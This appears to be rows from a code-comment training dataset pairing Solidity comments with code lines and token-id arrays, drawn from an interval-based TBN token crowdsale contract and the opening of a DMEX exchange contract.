file_name
stringlengths 71
779k
| comments
stringlengths 20
182k
| code_string
stringlengths 20
36.9M
| __index_level_0__
int64 0
17.2M
| input_ids
list | attention_mask
list | labels
list |
---|---|---|---|---|---|---|
./partial_match/1/0x724Ba15845719549ea1eA2f0aAC9D75d31DbD818/sources/Token.sol | * @dev See {IToken-identityRegistry}./ | function identityRegistry() external override view returns (IIdentityRegistry) {
return tokenIdentityRegistry;
}
| 3,940,263 | [
1,
9704,
288,
1285,
969,
17,
10781,
4243,
5496,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
4215,
4243,
1435,
3903,
3849,
1476,
1135,
261,
45,
4334,
4243,
13,
288,
203,
3639,
327,
1147,
4334,
4243,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// (C) block.one all rights reserved
pragma solidity ^0.5.2;
import "../math/SafeMath.sol";
import "../ERC20/IERC20.sol";
import "../access/roles/FundkeeperRole.sol";
import "./ICrowdsale.sol";
import "../access/roles/ManagerRole.sol";
import "../access/roles/RecoverRole.sol";
import "../access/roles/WhitelisterRole.sol";
contract TBNCrowdSale is ICrowdsale, ManagerRole, RecoverRole, FundkeeperRole, WhitelisterRole {
using SafeMath for uint256;
/*
* Storage
*/
struct Interval {
uint256 reservePrice; // the reservePrice in ETH for this interval @ 18 decimals of precision
uint256 ETHReserveAmount; // the reserve amount of ETH for this interval @ 18 decimals of precision
}
mapping (uint256 => Interval) public intervals;
IERC20 private _erc20; // the TBN ERC20 token deployment
uint256 private _guaranteedIntervals; // number of guaranteed intervals before the sale can end early (set as 47)
uint256 private _numberOfIntervals; // number of intervals in the sale (188)
bytes32 private _hiddenCap; // a hash of <the hidden hard cap(in WEI)>+<a secret number> to be revealed if/when the hard cap is reached - does not rebase so choose wisely
uint256 private _reserveFloor; // the minimum possible reserve price in USD @ 18 decimal precision (set @ 0.0975 USD)
uint256 private _reserveCeiling; // the maximum possible reserve price in USD @ 18 decimal precision (set @ 0.15 USD)
uint256 private _reserveStep; // the base amount to step down the price if reserve is not met @ 18 decimals of precision (0.15-.0975/188 = .0000279255)
uint256 private _crowdsaleAllocation; // total amount of TBN allocated to the crowdsale contract for distribution
uint256 private _distributedTotal; // total amount of TBN to be distributed (this will be fixed at CrowdsaleEnded, running total until then)
uint256 private _totalContributions; // total amount of ETH contributed for the whole sale period
uint256 private WEI_FACTOR = 10**18; // ETH base in WEI
uint256 private _rebaseNewPrice; // holds the rebase ETH price until rebasing occurs in the next active interval @ decimal 18
uint256 private _rebased; // the interval setRebase was called, _rebase() will occur in the next interval
uint256 private _lastAdjustedInterval; // the most recent reserve adjusted interval
bool private _recoverySafety; // a flag to be sure it is safe to recover TBN tokens
uint256 public startBlock; // block number of the start of interval 0
uint256 public endBlock; // block number of the last block of the last interval
uint256 public endInterval; // the interval number when the Crowdfund stage was ended
uint256 public INTERVAL_BLOCKS = 5520; // number of block per interval - 23 hours @ 15 sec per block
uint256 public ETHPrice; // ETH price in USD with 18 decimal precision for calculating reserve pricing
uint256 public tokensPerInterval; // number of tokens available for distribution each interval
mapping (uint256 => uint256) public intervalTotals; // total ETH contributed per interval
mapping (uint256 => mapping (address => uint256)) public participationAmount;
mapping (uint256 => mapping (address => bool)) public claimed;
mapping (address => bool) public whitelist;
Stages public stages;
/*
* Enums
*/
enum Stages {
CrowdsaleDeployed,
Crowdsale,
CrowdsaleEnded
}
/*
* Modifiers
*/
modifier atStage(Stages _stage) {
require(stages == _stage, "functionality not allowed at current stage");
_;
}
modifier onlyWhitelisted(address _participant) {
require(whitelist[_participant] == true, "account is not white listed");
_;
}
// update reserve adjustment and execute rebasing if ETH price was rebased last interval
// also checks for end of sale endBlock condition and accounts for if the sale has been ended early or via reaching the endblock (then does final adjust and distribution calculations)
modifier update() {
uint256 interval = getInterval(block.number);
if(endInterval == 0) {
if (block.number > endBlock) { // check for sale end, endBlock condition
interval = _numberOfIntervals.add(1);
if (uint(stages) < 2) {
stages = Stages.CrowdsaleEnded;
endInterval = _numberOfIntervals.add(1);
}
}
} else {
interval = endInterval;
}
if(_lastAdjustedInterval != interval){ // check that the current interval is reserve adjusted
for (uint i = _lastAdjustedInterval.add(1); i <= interval; i++) { // if current not adjusted, catch up adjustment until current interval
_adjustReserve(i); // adjust the dynamic reserve price
_addDistribution(i); // sum of total sale distribution
}
if(endInterval != 0 && _recoverySafety != true) { // need to ensure that update() has been called at least once after endInterval has been set (to guarantee the accuracy of _distributedTotal)
_recoverySafety = true;
}
_lastAdjustedInterval = interval;
}
// we can rebase only if reserve ETH ajdustment is current (done above)
if( interval > 1 && _rebased == interval.sub(1)){ // check if the ETH price was set for rebasing last interval
_rebase(_rebaseNewPrice);
_;
} else {
_;
}
}
/**
* @dev Constructor
* @param token TBNERC20 token contract
* @param numberOfIntervals the total number of 23 hr intervals run the crowdsale (set as 188)
* @param guaranteedIntervals the number of guaranteed intervals before the sale can end eraly (set as 47)
* @param hiddenCap a keccak256 hash string of the hardcap number of ETH (in WEI) and a secret number to be revealed if this hidden hard cap is reached
*/
constructor(
IERC20 token,
uint256 numberOfIntervals,
uint256 guaranteedIntervals,
bytes32 hiddenCap
) public {
require(address(token) != address(0x0), "token address cannot be 0x0");
require(guaranteedIntervals > 0, "guaranteedIntervals must be larger than zero");
require(numberOfIntervals > guaranteedIntervals, "numberOfIntervals must be larger than guaranteedIntervals");
_erc20 = token;
_numberOfIntervals = numberOfIntervals;
_guaranteedIntervals = guaranteedIntervals;
_hiddenCap = hiddenCap;
stages = Stages.CrowdsaleDeployed;
}
/**
* @dev Fallback auto participates with any ETH payment, with guarantee set to 0 (this means no TBN per ETH restrictions)
*/
function () external payable {
participate(0);
}
/**
* @dev Safety function for recovering missent ERC20 tokens (and recovering the un-distributed allocation after CrowdsaleEnded)
* @param token address of the ERC20 contract to recover
*/
function recoverTokens(IERC20 token)
external
onlyRecoverer
returns (bool)
{
uint256 recover;
if (token == _erc20){
require(uint(stages) >= 2, "if recovering TBN, must have progressed to CrowdsaleEnded");
require(_recoverySafety, "update() needs to run at least once since the sale has ended");
recover = token.balanceOf(address(this)).sub(_distributedTotal);
} else {
recover = token.balanceOf(address(this));
}
token.transfer(msg.sender, recover);
emit TokensRecovered(token, recover);
return true;
}
/*
* Getters
*/
/**
* @dev Gets the interval based on the blockNumber given
* @param blockNumber The block.number to check the interval of
* @return An uint256 representing the interval number
*/
function getInterval(uint256 blockNumber) public view returns (uint256) {
return _intervalFor(blockNumber);
}
/**
* @dev Gets the TBN ERC20 deployment linked to this contract
* @return The address of the deployed TBN ERC20 contract
*/
function getERC20() public view returns (address) {
return address(_erc20);
}
/**
* @dev Gets the current total number of TBN distributed based on the contributions minus any tokens already claimed
* @return The running total of distributed TBN
*/
function getDistributedTotal() public view returns (uint256) {
return _distributedTotal;
}
function currentStage() public view returns(uint256) {
return uint256(stages);
}
/**
* @dev public function for anyone to participate in a given interval
* @param guarantee The minimum number of TBN per ETH contribution ratio the participant is willing to make this call at
* Note: a non-zero guarantee allows the participant to set a guaranteed minimum number of TBN per ETH for participation
* e.g., guarantee = 1000, guarantees that if the current rewarded TBN per 1 ETH is less than 1000, the call will fail
* @return True if successful
*/
function participate(uint256 guarantee)
public
payable
atStage(Stages.Crowdsale)
update()
onlyWhitelisted(msg.sender)
returns (bool)
{
uint256 interval = getInterval(block.number);
require(interval <= _numberOfIntervals, "interval of current block number must be less than or equal to the number of intervals");
require(msg.value >= .01 ether, "minimum participation amount is .01 ETH");
if (guarantee != 0) {
uint256 TBNperWEI;
if(intervalTotals[interval] >= intervals[interval].ETHReserveAmount) {
TBNperWEI = (tokensPerInterval.mul(WEI_FACTOR)).div(intervalTotals[interval]); // WEI_FACTOR for 18 decimal precision
} else {
TBNperWEI = (WEI_FACTOR.mul(WEI_FACTOR)).div(intervals[interval].reservePrice); // 1st WEI_FACTOR represents 1 ETH, second WEI_FACTOR is for 18 decimal precision
}
require(TBNperWEI >= guarantee, "the number TBN per ETH is less than your expected guaranteed number of TBN");
}
participationAmount[interval][msg.sender] = participationAmount[interval][msg.sender].add(msg.value);
intervalTotals[interval] = intervalTotals[interval].add(msg.value);
_totalContributions = _totalContributions.add(msg.value);
emit Participated(interval, msg.sender, msg.value);
return true;
}
/**
* @dev public function for anyone to claim TBN from past interval participations
* @param interval The interval to claim from
*/
function claim(uint256 interval)
public
update()
{
require(uint(stages) >= 1, "must be in the Crowdsale or later stage to claim");
require(getInterval(block.number) > interval, "the given interval must be less than the current interval");
if (claimed[interval][msg.sender] || intervalTotals[interval] == 0 || participationAmount[interval][msg.sender] == 0) {
return;
}
uint256 intervalClaim;
uint256 contributorProportion = participationAmount[interval][msg.sender].mul(WEI_FACTOR).div(intervalTotals[interval]);
uint256 reserveMultiplier;
if (intervalTotals[interval] >= intervals[interval].ETHReserveAmount){
reserveMultiplier = WEI_FACTOR;
} else {
reserveMultiplier = intervalTotals[interval].mul(WEI_FACTOR).div(intervals[interval].ETHReserveAmount);
}
intervalClaim = tokensPerInterval.mul(contributorProportion).mul(reserveMultiplier).div(10**36);
claimed[interval][msg.sender] = true;
if(intervalClaim == 0) {
return;
}
_distributedTotal = _distributedTotal.sub(intervalClaim);
emit Claimed(interval, msg.sender, intervalClaim);
_erc20.transfer(msg.sender, intervalClaim);
}
/**
* @dev public function to claim unclaimed TBN for specific intervals
* @param claimIntervals an array of interval to claim from
* @return True is successful
*/
function claimInterval(uint256[] memory claimIntervals)
public
returns (bool)
{
for (uint i = 0; i < claimIntervals.length; i++) {
claim(claimIntervals[i]);
}
return true;
}
/**
* @dev public function to claim all interval unclaimed so far
* @return True is successful
*/
function claimAll()
public
returns (bool)
{
for (uint i = 0; i < getInterval(block.number); i++) {
claim(i);
}
return true;
}
/// @dev Function to whitelist participants during the crowdsale
/// @param participants Array of addresses to whitelist
function addToWhitelist(address[] calldata participants) external onlyWhitelister {
for (uint32 i = 0; i < participants.length; i++) {
if(participants[i] != address(0) && whitelist[participants[i]] == false){
whitelist[participants[i]] = true;
}
}
}
/// @dev Function to remove the whitelististed participants
/// @param nonparticipants is an array of accounts to remove form the whitelist
function removeFromWhitelist(address[] calldata nonparticipants) external onlyWhitelister {
for (uint32 i = 0; i < nonparticipants.length; i++) {
if(nonparticipants[i] != address(0) && whitelist[nonparticipants[i]] == true){
whitelist[nonparticipants[i]] = false;
}
}
}
/**
* @dev Crowdsale Manager Role can assign the crowdsale token allocation to this contract. Note: TBN token fundkeeper must give this contract an allowance before calling initialize
* Also sets the initial ETH Price, reserve price floor, and reserve price ceiling; all in USD with 18 decimal precision
* @param newETHPrice the intital price of ETH in USD
* @param reserveFloor the minimum reserve price per TBN (in USD)
* @param reserveCeiling the maximum reserve price per TBN (in USD)
* @param crowdsaleAllocation the amount of tokens assigned to this contract for Crowdsale distribution upon initialization
* @return True if successful
*/
function initialize(
uint256 newETHPrice,
uint256 reserveFloor,
uint256 reserveStart,
uint256 reserveCeiling,
uint256 crowdsaleAllocation
)
external
onlyManager
atStage(Stages.CrowdsaleDeployed)
returns (bool)
{
require(newETHPrice > reserveCeiling, "ETH basis price must be greater than the reserve ceiling");
require(reserveFloor > 0, "the reserve floor must be greater than 0");
require(reserveCeiling > reserveFloor.add(_numberOfIntervals), "the reserve ceiling must be _numberOfIntervals WEI greater than the reserve floor");
require(reserveStart >= reserveFloor, "the reserve start price must be greater than the reserve floor");
require(reserveStart <= reserveCeiling, "the reserve start price must be less than the reserve ceiling");
require(crowdsaleAllocation > 0, "crowdsale allocation must be assigned a number greater than 0");
address fundkeeper = FundkeeperRole(address(_erc20)).fundkeeper();
require(_erc20.allowance(address(fundkeeper), address(this)) == crowdsaleAllocation, "crowdsale allocation must be equal to the amount of tokens approved for this contract");
// set intital variables
ETHPrice = newETHPrice;
_rebaseNewPrice = ETHPrice;
_crowdsaleAllocation = crowdsaleAllocation;
_reserveFloor = reserveFloor;
_reserveCeiling = reserveCeiling;
_reserveStep = (_reserveCeiling.sub(_reserveFloor)).div(_numberOfIntervals);
startBlock = block.number;
tokensPerInterval = crowdsaleAllocation.div(_numberOfIntervals);
// calc initial intervalReserve
uint256 interval = getInterval(block.number);
intervals[interval].reservePrice = (reserveStart.mul(WEI_FACTOR)).div(ETHPrice);
intervals[interval].ETHReserveAmount = tokensPerInterval.mul(intervals[interval].reservePrice).div(WEI_FACTOR);
// create calculated initial variables
endBlock = startBlock.add(INTERVAL_BLOCKS.mul(_numberOfIntervals));
stages = Stages.Crowdsale;
// place crowdsale allocation in this contract
_erc20.transferFrom(fundkeeper, address(this), crowdsaleAllocation);
return true;
}
/**
* @dev Crowdsale Manager Role can rebase the ETH price to accurately reflect the open market
* Note: this rebase will occur in this following interval from when this function is called and only on rebase can occur in an interval
* Rebasing can occur as many times as necessary in the previous interval before updating occurs
* @param newETHPrice the intital price of ETH in USD
* @return True if successful
*/
function setRebase(uint256 newETHPrice)
external
onlyManager
atStage(Stages.Crowdsale)
returns (bool)
{
require(newETHPrice > _reserveCeiling, "ETH price cannot be set smaller than the reserve ceiling");
uint256 interval = getInterval(block.number);
require(block.number <= endBlock, "cannot rebase after the crowdsale period is over");
require(interval > 0, "cannot rebase in the initial interval");
_rebaseNewPrice = newETHPrice;
_rebased = interval;
return true;
}
/**
* @dev Crowdsale Manager Role can reveal the hidden hard cap (and end sale early - but only enacted after 45 days as per our policy)
* @param cap the hidden hard cap - number of ETH (in WEI)
* @param secret an additional secret uint256 to prevent people from guessing the hidden cap
* @return True if successful
*/
function revealCap(uint256 cap, uint256 secret)
external
onlyManager
atStage(Stages.Crowdsale)
returns (bool)
{
require(block.number >= startBlock.add(INTERVAL_BLOCKS.mul(_guaranteedIntervals)), "cannot reveal hidden cap until after the guaranteed period");
uint256 interval = getInterval(block.number);
bytes32 hashed = keccak256(abi.encode(cap, secret));
if (hashed == _hiddenCap) {
require(cap <= _totalContributions, "revealed cap must be under the total contribution");
stages = Stages.CrowdsaleEnded;
endInterval = interval;
return true;
}
return false;
}
/**
* @dev Crowdsale Fundkeeper Role can collect ETH any number of times
* @return True if successful
*/
function collect()
external
onlyFundkeeper
returns (bool)
{
emit Collected(msg.sender, address(this).balance);
msg.sender.transfer(address(this).balance);
}
/**
* @dev Crowdsale Manager Role can rebase the ETH price to accurately reflect the open market (internal function)
* @param newETHPrice the intital price of ETH in USD
*/
function _rebase(uint256 newETHPrice)
internal
atStage(Stages.Crowdsale)
{
uint256 interval = getInterval(block.number);
// get old price
uint256 oldPrice = (intervals[interval].reservePrice.mul(ETHPrice)).div(WEI_FACTOR);
// new ETH base price
ETHPrice = newETHPrice;
// recalc ETH reserve Price
intervals[interval].reservePrice = (oldPrice.mul(WEI_FACTOR)).div(ETHPrice);
// recalc ETH reserve Amount
intervals[interval].ETHReserveAmount = tokensPerInterval.mul(intervals[interval].reservePrice).div(WEI_FACTOR);
// reset _rebaseNewPrice to 0
_rebaseNewPrice = 0;
// reset _rebased to 0
_rebased = 0;
emit Rebased(
ETHPrice,
intervals[interval].reservePrice,
intervals[interval].ETHReserveAmount
);
}
/**
* @dev Gets the interval based on the blockNumber given (internal function)
* Note: Each window is 23 hours long so that end-of-window rotates around the clock for all timezones
* @param blockNumber The block.number to check the interval of
* @return An uint256 representing the interval number
*/
function _intervalFor(uint256 blockNumber)
internal
view
returns (uint256)
{
uint256 interval;
if(blockNumber <= startBlock) {
interval = 0;
}else if(blockNumber <= endBlock) {
interval = blockNumber.sub(startBlock).div(INTERVAL_BLOCKS);
} else {
interval = ((endBlock.sub(startBlock)).div(INTERVAL_BLOCKS)).add(1);
}
return interval;
}
/**
* @dev Adjusts the dynamic reserve price and therefore the new expected reserve amount (both in ETH) for this interval depending on the contribution results of the previous interval (internal function)
* @param interval the interval to do the adjustment for
*/
function _adjustReserve(uint256 interval) internal {
require(interval > 0, "cannot adjust the initial interval reserve");
// get last reserve info
uint256 lastReserveAmount = intervals[interval.sub(1)].ETHReserveAmount; // reserve amount of ETH expected last round
uint256 lastUSDPrice = (intervals[interval.sub(1)].reservePrice.mul(ETHPrice)).div(WEI_FACTOR); // the calculated price per TBN in USD from the last round
uint256 ratio; // % in 18 decimal precision to see what ratio the contribution and target reserve are apart
uint256 multiplier; // a mltiplier to increase the number of steps to adjust depending on the size of the ratio
uint256 newUSDPrice;
// adjust reservePrice accordingly, the further away from the target reserve contribution was, the more steps the reerve price will be adjusted
if (intervalTotals[interval.sub(1)] > lastReserveAmount) { // check if last reserve was exceeded
ratio = (lastReserveAmount.mul(WEI_FACTOR)).div(intervalTotals[interval.sub(1)]);
if(ratio <= 33*10**16){ // if lastReserveAmount is 33% or less of the last contributed amount step up * 3
multiplier = 3;
} else if (ratio <= 66*10**16){ // if lastReserveAmount is between 33%+ or 66% of the last contributed amount step up * 2
multiplier = 2;
} else { // if lastReserveAmount is larger than 66%+ upto 100% of the contributed amount
multiplier = 1;
}
newUSDPrice = lastUSDPrice.add(_reserveStep.mul(multiplier)); // the new USD price will be the last interval USD price plus the reserve step times the multiplier
if (newUSDPrice >= _reserveCeiling) { // new price is greater than or equal to the ceiling reserve
intervals[interval].reservePrice = (_reserveCeiling.mul(WEI_FACTOR)).div(ETHPrice); // set to ceiling reserve (capped)
} else { // new price is less than the ceiling reserve
intervals[interval].reservePrice = (newUSDPrice.mul(WEI_FACTOR)).div(ETHPrice); // set new reserve price
}
} else if (intervalTotals[interval.sub(1)] < lastReserveAmount) { // last reserve was not met
ratio = (intervalTotals[interval.sub(1)].mul(WEI_FACTOR)).div(lastReserveAmount);
if(ratio <= 33*10**16){ // the last contributed amount is 33% or less of lastReserveAmount, step down * 3
multiplier = 3;
} else if (ratio <= 66*10**16){ // the last contributed amount is between 33%+ and 66% of lastReserveAmount, step down * 2
multiplier = 2;
} else { // the last contributed amount is greater than 66%+ of lastReserveAmount, step down * 1
multiplier = 1;
}
newUSDPrice = lastUSDPrice.sub(_reserveStep.mul(multiplier)); // the new USD price will be the last interval USD price minus the reserve step times the multiplier
if (newUSDPrice <= _reserveFloor) { // new price is less than or equal to the floor reserve
intervals[interval].reservePrice = (_reserveFloor.mul(WEI_FACTOR)).div(ETHPrice); // set to floor reserve (bottomed)
} else { // new price is greater than the floor reserve
intervals[interval].reservePrice = (newUSDPrice.mul(WEI_FACTOR)).div(ETHPrice); // set new reserve price
}
} else { // intervalTotals[interval.sub(1)] == lastReserveAmount, last reserve met exactly
intervals[interval].reservePrice = intervals[interval.sub(1)].reservePrice; // reserve Amount met exactly, no change in price
}
// calculate ETHReserveAmount based on the new reserve price
intervals[interval].ETHReserveAmount = tokensPerInterval.mul(intervals[interval].reservePrice).div(WEI_FACTOR);
}
/**
* @dev Adds this interval's distributed tokens to the _distributedTotal storage variable to track the total number of TBN tokens to be distributed
* @param interval the interval to do the calculation for
*/
function _addDistribution(uint256 interval) internal {
uint256 reserveMultiplier;
if (intervalTotals[interval.sub(1)] >= intervals[interval.sub(1)].ETHReserveAmount){
reserveMultiplier = WEI_FACTOR;
} else {
reserveMultiplier = intervalTotals[interval.sub(1)].mul(WEI_FACTOR).div(intervals[interval.sub(1)].ETHReserveAmount);
}
uint256 intervalDistribution = (tokensPerInterval.mul(reserveMultiplier)).div(WEI_FACTOR);
_distributedTotal = _distributedTotal.add(intervalDistribution);
}
} | number of guaranteed intervals before the sale can end early (set as 47)
| uint256 private _guaranteedIntervals; | 12,869,167 | [
1,
2696,
434,
15403,
10389,
1865,
326,
272,
5349,
848,
679,
11646,
261,
542,
487,
17495,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
2254,
5034,
3238,
389,
6891,
30164,
24224,
31,
5411,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.19;
/* Interface for ERC20 Tokens */
contract Token {
bytes32 public standard;
bytes32 public name;
bytes32 public symbol;
uint256 public totalSupply;
uint8 public decimals;
bool public allowTransactions;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
function transfer(address _to, uint256 _value) returns (bool success);
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
}
// The DMEX base Contract
contract Exchange {
function assert(bool assertion) {
if (!assertion) throw;
}
// Safe Multiply Function - prevents integer overflow
function safeMul(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
// Safe Subtraction Function - prevents integer overflow
function safeSub(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
// Safe Addition Function - prevents integer overflow
function safeAdd(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
address public owner; // holds the address of the contract owner
mapping (address => bool) public admins; // mapping of admin addresses
mapping (address => bool) public futuresContracts; // mapping of connected futures contracts
mapping (address => uint256) public futuresContractsAddedBlock; // mapping of connected futures contracts and connection block numbers
event SetFuturesContract(address futuresContract, bool isFuturesContract);
// Event fired when the owner of the contract is changed
event SetOwner(address indexed previousOwner, address indexed newOwner);
// Allows only the owner of the contract to execute the function
modifier onlyOwner {
assert(msg.sender == owner);
_;
}
// Changes the owner of the contract
function setOwner(address newOwner) onlyOwner {
SetOwner(owner, newOwner);
owner = newOwner;
}
// Owner getter function
function getOwner() returns (address out) {
return owner;
}
// Adds or disables an admin account
function setAdmin(address admin, bool isAdmin) onlyOwner {
admins[admin] = isAdmin;
}
// Adds or disables a futuresContract address
function setFuturesContract(address futuresContract, bool isFuturesContract) onlyOwner {
futuresContracts[futuresContract] = isFuturesContract;
if (fistFuturesContract == address(0))
{
fistFuturesContract = futuresContract;
}
futuresContractsAddedBlock[futuresContract] = block.number;
emit SetFuturesContract(futuresContract, isFuturesContract);
}
// Allows for admins only to call the function
modifier onlyAdmin {
if (msg.sender != owner && !admins[msg.sender]) throw;
_;
}
// Allows for futures contracts only to call the function
modifier onlyFuturesContract {
if (!futuresContracts[msg.sender]) throw;
_;
}
function() external {
throw;
}
//mapping (address => mapping (address => uint256)) public tokens; // mapping of token addresses to mapping of balances // tokens[token][user]
//mapping (address => mapping (address => uint256)) public reserve; // mapping of token addresses to mapping of reserved balances // reserve[token][user]
mapping (address => mapping (address => uint256)) public balances; // mapping of token addresses to mapping of balances and reserve (bitwise compressed) // balances[token][user]
mapping (address => uint256) public lastActiveTransaction; // mapping of user addresses to last transaction block
mapping (bytes32 => uint256) public orderFills; // mapping of orders to filled qunatity
mapping (address => mapping (address => bool)) public userAllowedFuturesContracts; // mapping of allowed futures smart contracts per user
mapping (address => uint256) public userFirstDeposits; // mapping of user addresses and block number of first deposit
address public feeAccount; // the account that receives the trading fees
address public EtmTokenAddress; // the address of the EtherMium token
